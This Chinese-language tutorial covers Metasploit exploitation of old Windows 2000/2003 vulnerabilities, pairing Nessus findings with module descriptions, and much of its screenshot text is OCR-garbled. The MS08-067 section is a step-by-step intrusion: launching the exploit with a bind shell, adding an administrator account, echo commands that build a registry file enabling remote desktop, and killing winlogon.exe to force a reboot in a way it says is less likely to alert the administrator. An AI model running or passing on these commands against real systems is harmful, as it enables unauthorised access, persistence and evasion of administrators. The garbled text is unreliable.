Metasploit漏洞的利用
1 windows 2000—MS04-011（震荡波） 

Nessus扫描结果：
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This module exploits a stack overflow in the SecurlD Web Agent for IS This ISAP! filter runs in-process with inetinfo_exe. any attempt to exploit this flaw vl result in
the termination and potential restart of the IIS senice.

Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow &

This exploits a buffer overfiow found in the nsiislog.dll ISAPI fiter that comes with Windows Media Server. This module will also work against the ‘patched MS03-019
version. This vulnerability was addressed by MS03-022.

Microsoft IS ISAPI w3who.dll Query String Overflow &

This module exploits a stack overlow in the w3who dil ISAPI application. This wlnerability was discovered Nicolas Gregoire and this code has been successfully
tested against Windows 2000 and Windows XP (SP2). When exploiting Windows XP. the payload must call RevertToSelf before it will be able to spawn a command
shel

Microsoft IS Phone Book Service Overflow &

This is an exploit for the Phone Book Senice /phsenver/pbserver dil described in MS00-034. By sending an overly long URL argument for phone book updates, it is
possible to ovenrite the stack. This module has only been tested against Windows 2000 SP1

Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow &

This module exploits a stack overflow in the LSASS senice. this wulnerability was originally found by eEye. When re-exploiting a Windows XP system. you will need
need to run this module twice. DCERPC request fragmentation can be performed by setting FragSize” parameter

lerUpgradeDown

Please enter all of the required options and press Launch Exploit to continue
by a valid DNS server. only configured on

Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow

Select payload for target Automatic Targetting <t address changes bassd on the length

CURRENT CONFIGURATION - CHANGE PAYLOAD frehands excellent MSRPC website.
EXPLOIT windows/smb/ms04_011_lsass

TARGET Automatic Targetting

7 (3 @ Internet 1008





2 windows 2000—MS04-007
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0 SMTP server is running on this port, 0 2¥mEw 0 B850

Nesss D : 22964 [=o ]

[ASIL1 Parsing Vulnerabilities (SMTP check)

The remote Windows host has a ASN. 1 brary whichis vuinerable to a
flaw which could alow an attacker to execute arbirary code on this host

To expot tis fian, an attacker would need to send a specialy crafted
ASN. 1 encoded packet with mproperly advertised enghs.

This particar check sent a malformed SMTP authorization packet and determined that
the remote host s not patched.

‘Solution : http: /. microsoft comtechnet/security/bulltin/ms04-007.mspx.
Risk factor :High

CVE: CVE-2003-0815

BID : 9633, 9635, 8743, 13300

Other references : IAVA:2004-A-0001, OSVDE:3%02

Nessus ID : 12065
=

Parsing Vuinerabilities (SMTP check)
The remote Windows host has a ASN. 1 brary whichis vuinerable to a
flaw which could alow an attacker to execute arbirary code on this host

To expot tis fian, an attacker would need to send a specialy crafted
ASN. 1 encoded packet with mproperly advertised enghs.

This particar check sent a malformed SMTP authorization packet and determined that
the remote host s not patched.

‘Solution : http: /. microsoft comtechnet/security/bulltin/ms04-007.mspx.
Risk factor :High

CVE: CVE-2003-0815

BID : 9633, 9635, 8743, 13300
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Available Exploi

SEARCH | SMB

Matched 15 modules for term SMB
Microsoft ASN.1 Library Bitstring Heap Overflow &

This is an exploit for a previously undisclosed winerabilty in the bit string decoding code in the Microsoft ASN 1 library. This vulnerabiliy is not related to the bt string
wulnerability described in eEye advisory AD20040210-2. Both vulnerabilities were fixed in the MS04-007 patch. You are only allowed one attempt with this wuinerabilty
If the payload fails to execute, the LSASS system senice vill crash and the target system will automatically reboot itself in 60 seconds. ffthe payload succeeeds,
the system will no longer be able to process authentication requests, denying all attempts to login through SMB or at the console. A reboot is required to restore
proper functioning of an exploited system. This exploit has been successfully tested with the win32/*/reverse_tcp payloads, however a few problems were encounted
when using the equivalent bind payloads. Your mileage may vary.

Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB) &

This module exploits a stack overflow in the RPC interface of the Microsoft DNS senice. The winerabilty is triggered when a long zone name parameter is supplied
that contains escaped octal strings. This module is capable of bypassing NX/DEP protection on Windows 2003 SP1/SP2. This module exploits the RPC senice using
the \DNSSERVER pipe available via SMB. This pipe requires a valid user account to access, so the SMBUSER and SMBPASS options must be specified
Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow &

This module exploits a stack overflow in the LSASS senice. this wulnerability was originally found by eEye. When re-exploiting a Windows XP system. you will need
need to run this module twice. DCERPC request fragmentation can be performed by setting FragSize” parameter.

Microsoft NetDDE Service Overflow &

This module exploits a stack overflow in the NetDDE senice, which is the precursor to the DCOM interface. This exploi effects only operating systems released prior
to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsofts claim that this vulnerability can be exploited without authentication, the NDDEAP! pipe is only
accessible after successful authentication

Microsoft Plug and Play Service Overflow &

This module exploits a stack overflow in the Windows Plug and Play senice. This vulnerability can be exploited on Windows 2000 without a valid user account. Since
the PnP senice runs inside the senice exe process, a failed exploit attempt will cause the system to automatically reboot.

Microsoft RRAS Service Overflow &

=5 (3 @ Internet S -





3 windows 2000—MS05-039 
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Other references : 0SVDB:714

Nessus D : 10850

Vulnerabilty i Plug and Play Service Could Allow Remote Code Execution (899588) - Network Check

Synopsis:

Avbitary code can be executed on the remote host due to a flaw i the

Plg-And-Pay service.

Description:

“The remote version of Windows contains a flaw in the functon

PNP_QueryResConflist() in the Plug and Play service which may allow an

attacker to execute arbitrary code on the remote host with the SYSTEM

prvieges.

A seris of worms (Zotob) are known to explot this vulnerabity in the M
wid

Solution:

Microsoft has released a setof patches for Windows 2000, XP and 2003

It/ microsoft comtechnetsecurityuletin/ns05-038.mepc

Risk factor:

Critcal/CVSS Base Score : 10

(CVSS2=AVIN/ACH/AUNIC:CITIC/AC)

CVE : CVE-2005-1583

8D 14513

Other references : IAVA:2005-4-0025, OSVD: 15605

Nessus D : 19408

[Vulnerabilty in Plug and Play Could Allow Remote Code Execution and Local Hevation of Privilege (905745) - Network Check

) #m -
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Available Exploi

This module exploits a stack overflow in the LSASS senice, this winerability was originally found by eEye. When re-exploiting a Windows XP system, you will need |
need to run this module twice. DCERPC request fragmentation can be performed by setting FragSize” parameter.

Microsoft NetDDE Service Overflow &

This module exploits a st

to Windows XP SP1
accessible after succef

Microsoft Plug ang

This module exploits 4
the PnP senice runs i

Microsoft RRAS §

This module exploits 4
can cause other systd
SMBPIPE option need

Microsoft RRAS §

This module exploits 4
exploit attempt can ca
SP1, the SMBPIPE of
based on a read of thi
Picking the wrong targ
Phanebook

Microsoft Server

This module exploits 4
that other RPC calls d
attempt will likely res:
should succeed on Wi

k overflow in the NetDDE senice, which is the precursor to the DCOM interface. This exploi effects only operating systems released prior

S
Microsoft Plug and Play Service Overflow

This module explaits a stack overlow in the Windows Plug and Play senice. This vulnerability can be exploited on
Windows 2000 without a valid user account. Since the PnP senice runs inside the senice exe process. a failed
exploit attempt will cause the system to automatically reboot

This module (v5773) was provided by hdm and unknown, under the Metasploit Framework License (BSD).

Select a target to continue:

Windows 2000 SP0-SP4
Windows 2000 SP4 French

Windows 2000 SP4 Spanish

Windows 2000 P4 English/French/German/Dutch
Windows 2000 SP0-5P4 German

Windows 2000 SP0-SP4 Italian

Windows XP _SP1 English

Extemal references

hitp://www 0svdb 0rg/18605

http //cve mitre org/cgi-bin/cvename cgi?name=2005-1983

hitp /www securityfocus com/bid/14513

hitp //wsny microsoft com/technet/security/buletin/MS05-039 mspx

Microsoft Server Service Relative Path Stack Corruption

(3 @ Internet





4 windows 2000/2003—MS02-018（IIS） 
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Nessus ID : 10671
115 HTR ISAPI fitter appied

oz-0is

O s¥rew O 5450

The IIS server appears to have the .HTR ISAPI fiter mapped.

Atleast one remote vuinerabiity has been discovered for the HTR
fiter, Thisis detalld in Microsoft Advisory
MS02-018, and gives remote SYSTEM level access to the veb server

Itis recommended that, evenif you have patched this vuinerabiity,
You unmap the HTR extension and any other unused ISAPI extensions:
if they are not required for the operation of your st.

Solution :
To unmap the HTR extension

1.0pen Internet Services Manager.

2.Righ-lick the Web server choose Propertes from the context menu,
3 Master Propertes

2 Select VIWW Service -> Edit -> HomeDirectory -> Configuration
and remove the reference to .t from the Ist.

In addion, you may wish to download and nstallLRLSCAN from the
Microsoft Technet Website. URLSCAN, by defaut, blocks al requests:
For i fles.

Risk factor :High
CVE : CVE-2002.0071

BID: 4474

Other references : IAVA:2002-4-0002, OSVDB:3325
Nessus D 10932

Synopsis :

Indexing Service fiter i enabled on the remote Web server

Description
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Available Exploi

SEARCH IS

Matched 10 modules for term //S
Microsoft IIS 4.0 .HTR Path Overflow &

This exploits a buffer overflow in the ISAPI ISM DLL used to process HTR scripting in IIS 4.0. This module works against Windows NT 4 Senvice Packs 3. 4, and 5
The senver will continue to process requests until the payload being executed has exited. If youve set EXITFUNC to 'seh, the server will continue processing requests.
but you will have trouble terminating a bind shell. If you set EXITFUNC to thread, the server will crash upon exit of the bind shell. The payload is alpha-numerically
encoded without a NOP sled because otherwise the data gets mangled by the fiters

HTR Path
Microsoft IS 4.0 HTR Path Overflow

This exploits a bufler overflow in the ISAP ISM.DLL used to process HTR scripting in IS 4.0. This
module works against Windows NT 4 Senice Packs 3, 4, and 5. The seer will continue to
process requests until the payload being executed has exited. If you've set EXITFUNC to 'seh, the. painst Windows 2000 senvice pack 0
server will continue processing requests, but you will have trouble terminating a bind shell. If you ng process.
set EXITFUNC to thread. the senver will crash upon exit of the bind shell. The payload is alpha-
numerically encoded without a NOP sled because othenise the data gets mangled by the fiters.
only works against Windows 2000
This module (v6773) was provided by stinko, under the BSD License.

Select a target to continue:

s particular modules works against

it to exploit this flaw will result in
Extemal references

o http /funw osvdb org/3325

=5 (3 @ Internet S -





5 windows 2000/2003—MS01-023 
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[T 115 5.0 Malformed HTTP Printer Request Header Buffer Overflow Vulnerability

Synopsis :

R w04 - Gonele B ||

Arbitrary code can be execute on the remote host thru IS
Description :

‘The remote version of the IIS web server contains 2 bug

‘which might be used by an attacker to execute arbirary

code on the remote system.

To explot tis vuinerabiity, an attacker would need to

send 2 specially malformed HTTP/1.1 request to the remote

host containing an offensive payload.

Solution:

hito:/funn,microsoftcom/technet security/bulletin msD 1023 mspx
Seealso:

hito:/funn.geve.com i Research/Advisories/AD200 10501 bt
Risk factor:

Critcal  CVSS Base Score : 10
(CVSS22AV:N/ACIL[AUN/C:CILC/AC)

CVE : CVE-2001-0231

BID: 2674

Other references : IAVA:2001-2-0005, OSVDB: 3323

Nessus ID : 10657
] Back t0 192.166.4.53

[Port blackjack (1025/tcp)

) #m -
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Available Exploi

This exploits a buffer overflow in the request processor of the Intemet Printing Protocol ISAPI module in IIS. This module works against Windows 2000 senvice pack 0
and 1. Ifthe senice stops responding after a successful compromise, run the exploit a couple more times to completely kill the hung process

Microsoft IIS 5.0 Wel

This exploits a buffer ovef
(3l s ey Wicrosoft IIS 5.0 Printer Host Header Overflow

Microsoft IIS ISAPI This exploits a bufler overfow in the request processor of the Intemet Printing Protocol ISAPI
T i e o s module in IIS. This module works against Windows 2000 sevice pack 0 and 1. ffthe senice stops L ot e
versions of Windows 200( responding after a successful compromise. run the exploit a couple more times to completely kil

the hung process

RIS 5.0 Printer Host Header Overflow (7

Microsoft IS ISAPI

This module exploits a sf
the termination and poten]

This module (v5773) was provided by hdm. under the Metasploit Framework License (BSD). P——

Select a target to continue:

Microsoft IS ISAPI + Windows 2000 English SP0-SP1

This explois a buffer ove tched MS03.019
version. This vulnerabilty
Extemal references
MicrosoftIIS ISAPI o http /wny securityfocus com/bid/2674
P ———————— o hittp Sy osvdb 0rg/3323
{ested against Windows o hitp //cve mitte org/cgi-bin/cvename cgi?name=2001-0241
= « hitp sy microsoft comitechnet/secuity/bulletin/MS01-023 mspx

een successfully
bavn a command

Microsoft IS Phone Book Service Overflow &

This is an exploit for the Phone Book Senice /phsenver/pbserver dil described in MS00-034. By sending an overly long URL argument for phone book updates, it is
possible to ovenrite the stack. This module has only been tested against Windows 2000 SP1

Microsoft Private Communications Transport Overflow





6 windows 2000/2003—MS06-040 
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BID : 18863, 18831
Other references : OSVDB:27154, OSVDB:27155

Nessus ID : 22034
[Vuinerabiiity

Synopsis :

Arbitrary code can be executed on the remote host due to a flawin the.

Description
The remote host s vinerable to a buffer overrun n the Server service
‘which may alon an attacker to execute arbirary code on the remote host
with the ‘Systent privieges.

Solution :

Microsoft has released a set of patches for Windows 2000, ¥P and 2003

hito:/funn, microsoft com/technetsecurity/bulletin msD6-040.mspx

Risk factor:
Critical / CVSs Base Score : 10.0
(CVSS22AV:N/ACIL[AUN/C:CILC/AC)
CVE : CVE-2006-3433

BID: 19909

Nessus D : 22184

null param count

The remote host s vulnerable to 2 denil o service attack nts SMB
stack,

An attacker may explit ths flaw to crash the remote host remotely, without
any kind of authenticaton

Solution

fus mirosoft.com/technetfsecurity/buletin/ms02-045.mspx
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Available Exploits (0)

can cause other system senices to fail as well. A valid usemame and password is required to exploit this fiaw on Windows 2000. When attacking XP SP1, the |
‘SMBPIPE option needs to be set to 'SRVSVC'

Microsoft RRAS Service RASMAN Registry Overflow &

This module exploits a registry-based stack overfow in the Windows Routing and Remote Access Senice. Since the senice is hosted inside sichost exe, a filed
exploit attempt can ca = When attacking XP
SP1, the SVBPIPE of & hgering an overwite
based on a read of thf A Fto explot this flaw:
Picking the wrong targ Microsoft Server Service NetpwPathCanonicalize Overflow are\WlicrosotiRAS
Phonebock
N This module explois a stack overow in the NetApi32 CanonicalizePathName() function using the-
Microsoft Server NetpwPathCanonicalize RPC call in the Server Senice. It is likely that other RPC calls could be.
used to explot this senice. This exploit will result n  denial of seice on on Windows XP SP2 or
e Windows 2003 SP1. A failed exploit attempt wil ikely result in a complete reboot on Windows P%T;gil:m
et il Thely 20 2000 and the temmination of all SMB-related senices on Windows XP. The default target for this
e e A exploit should succeed on Windows NT 4.0, Windows 2000 SPO-SP4+, Windows XP SP0-SP1
and Windows 2003 SPO.

rget for this exploit

Microsoft Server

This modle explots 4 This module (v5773) was provided by hdm. under the Metasploit Framework License (BSD).

operating systems and
Windows XP targets |
version of this module, (wescpy) Automatic (NT 4.0, 2000 SPO-SP4, XP SPO.SP1
(wescpy) Windows NT 4.0 / Windows 2000 SPO-SP4
Microsoft Service: {wesepy) Windows XP SP0/SP1
(stack) Windows XP SP1 English
R (stack] Windows XP_SP1 Italian
(wescpy) Windows 2003 SPO

assing NX on some
ess) from crashing

Select a target to continue: This is just the first

Microsoft Service:
This module exploits a stack overflow in the svchost senice, when the netware client senice is running
Microsoft Windows Authenticated User Code Execution &

This module uses a valid administrator usemame and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec” utilty

(3 @ Internet S -





7 windows 2000/2003—MS08-067 

1、利用Metasploit Framework进行MS08-067缓冲区溢出攻击
[image: image13.png]© Vindows Media Player 0 BRERARRE

) Stickies @) PEEE Fetion

R SReLEBSER @ SReLEBSER

PN rrogren lpiates ) Acumetix ¥eb Valnersbility Scammer §

y = @ Network Stumbler ) T8 Retional AppScan
& TnstalIShisld for Wierosoft Visual CH 6 | ) MR

@ mrosTAn | @ Tenaite Tetwork security

@ ,| @ ArmA

@ = | @ orosott vimat o1 6.0

@ W )| (@ RER rmoser Tt

@ someTs o @ secmitstorest

@ broadcon y @

A vovpaars
— @) Microsoft Office )| B Teantiover ¢
@ Borille Firesox ,

e e
@ neat ,

[ YRR i .

) Wopti Veilities | g
> HH I
FABE @) [ —— P g

@ w=IA

/‘k ERATEE

@ waRERAE
@ RS

1, fEFMetasploit 3 WebFFEH

@ Devetopment
@ Docmentation
@ Tools

=7 om shert
>} 28 Metasploit 3 GUT

[ msn she1l
B 0ndine Update
B e shal

& tninstall





图1 使用Web界面
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Available Exploits (10

C SEARCH|_ms08_067_netapi

@A axploit ™~

Matched 1 modules for term ms08_067_netapi BEERRESS
Microsoft Server Service Relative Path Stack Corruption &

This module exploits a parsing flaw in the path canonicalization code of NetAPI32 i through the

Senver Senice. This module is capable of bypassing NX on some operating systems and senice
packs. The correct target must be used to prevent the Server Seniice (along with a dozen others
in the same process) from crashing. Windows XP targets seem to handle multiple successful
exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just

the first version of this module. full support for NX bypass on 2003, along with other platforms, is
still in development

2. BEHRFEFIAEwploit.





图 2 选择exploit
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This module (v5888) was provided by hdm and Brett Moore, under the Metasploit Framework
License (BSD)

Select a target to continu
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图 3 选择target
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windows/shellbind non_tcp Listen for a connection (o NX), Spawn a piped command shell
‘windows/shellbind tcp Listen for a connection, Spaun a piped command shell
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图 4 选择payload

[image: image17.png]Hetasploit Frame

k

Console

Internet Explorer

&) np /121,001 55555/

H B[ @retaspieit Framoror b Consele 3 2-vekense ||

W tobis | Q Avceres | @ Poviosss | B Consoe |y Sessons | & s

Available Exploits (10

ms08_067_netapi

@ Avout

Cormuption (15

CURRENT CONFIGURATION - CHANGE PAYLOAD

windows/smb/ms08_067_netapi

d TarceEr EZMME Hexploit. target. parload. —b| Windows 2000 Universal

SEARCH
Mi
| ExpLom
oy pavioap
e
thd RHOST

The target address (type: address) 3E A\ B #5ZE ML £9IPHut: ——»{192.168.199

RPORT

STANDARD OPTIONS
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SMBPIPE

The pipe name to use (BROWSER, SRVSVC) (type string)

EXITFUNC

windows/shellibind_tcp

Required
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445
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BROWSER

ENN=

Exit technique: seh, thread, process (type: rav)

LPORT
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图 5 填写options
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图 6 填写options
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图 7 填写options
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图 8 执行exploit
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图 9 溢出过程
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图 10 查看目标主机信息
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图 11 目标主机IP信息
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图 12 在目标主机上添加管理员用户
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图 13 成功添加用户
注：所有图中显示的乱码是因为msf console不支持中文编码显示。

2、开启目标主机的终端服务远程登录管理。获得目标主机的command shell了，接下来就要开启目标主机的3389终端服务远程控制目标主机。这里我们使用修改注册表的方法，启动终端服务—代码1：

echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg

echo "Enabled"="0" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg

echo "ShutdownWithoutLogon"="0" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg

echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg

echo "TSEnabled"=dword:00000001 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg

echo "Start"=dword:00000002 >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg

echo "Start"=dword:00000002 >>3389.reg

echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg

echo "Hotkey"="1" >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 

>>3389.reg

echo "PortNumber"=dword:00000D3D >>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] 
>>3389.reg

echo "PortNumber"=dword:00000D3D >>3389.reg
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图 14 生成开启终端服务的注册表文件

复制代码1，粘贴到msf console：
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图 15 复制代码

[image: image28.png](2 Hetasploit Framework ¥eb Console 3.2-release

v B ne iz 00155

@ Matasploit Frane

2009-05-14
2009-05-13
2009-05-25
2009-05-21
2009-05-21
2009-05-13

13:08

16:00

16:06

1s:28
1.5t
5 LA

[ZD3)

2w

#li ®)

<p1R>
<p1R>

<p1R>
<p1R>
<p1R>

3,255,400,152 2

Metasploit Exploit (3)

Documents and Settings
Tnecpub
68,608 ne_exe
[r——
Program Files
Wz
68,608 x00
TR

PAYLOAD

RHOST

~ Windows Internet Explorer

STANDARD OPTIONS




图 16 粘贴代码
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图 17 查看生成的3389.reg文件
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图 18 导入注册表

因为Windows 2000下开启终端服务不能像Windows XP一样可以立即生效,而是需要重启机器后才能生效。一个简单的办法就是使用系统自带的调试程序（ntsd.exe）(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启，例如winlogon.exe，lsass.exe也可以但结束后会跳出重启倒计时(容易被管理员发现，这里不采用结束lsass.exe进程的方法)，winlogon.exe进程被关闭后机器将立刻强制重启。

命令执行格式：ntsd -c q -p PID
需要结束进程，就必须知道该进程的PID号，那如何知道目标主机上winlogon.exe的PID进程号？Windows 2000不支持tasklist命令，这里，我们借助一个列举当前所有进程和进程PID的脚本：

wscript.echo "PID ProcessName"

for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 

wscript.echo ps.handle&vbtab&ps.name

next
我们做适当的修改，以便在msf console（command shell）下执行：

echo wscript.echo "PID ProcessName" >>tasklist.vbe

echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>tasklist.vbe

echo wscript.echo ps.handle^&vbtab^&ps.name >>tasklist.vbe 
echo next >>tasklist.vbe
复制以上代码到msf console执行：
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图 19 生成tasklist.vbe文件
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图 20 成功生成文件
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图 21 执行tasklist.vbe
从上图可知，winlogon.exe进程的PID为216：
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图 22 结束winlogon.exe进程
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图 23 目标主机重启
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图 24 目标主机已经成功重启
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图 25 远程连接目标主机
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图 26 目标主机登陆界面
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图 27 成功登陆目标主机
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图 28 添加的3389.reg和tasklist.vbe文件
8 windows 2003/2000—MS 03-026（冲击波） 

	Microsoft RPC Interface Buffer Overrun (823980)

	
Synopsis :

Arbitrary code can be executed on the remote host.

Description :

The remote version of Windows contains a flaw in the function 
RemoteActivation() in its RPC interface which may allow an attacker to 
execute arbitrary code on the remote host with the SYSTEM privileges.

A series of worms (Blaster) are known to exploit this vulnerability in the 
wild.

Solution :

http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx 

Risk factor :

Critical / CVSS Base Score : 10.0
(CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)
CVE : CVE-2003-0352
BID : 8205
Other references : IAVA:2003-A-0011, OSVDB:2100

Nessus ID : 11808 
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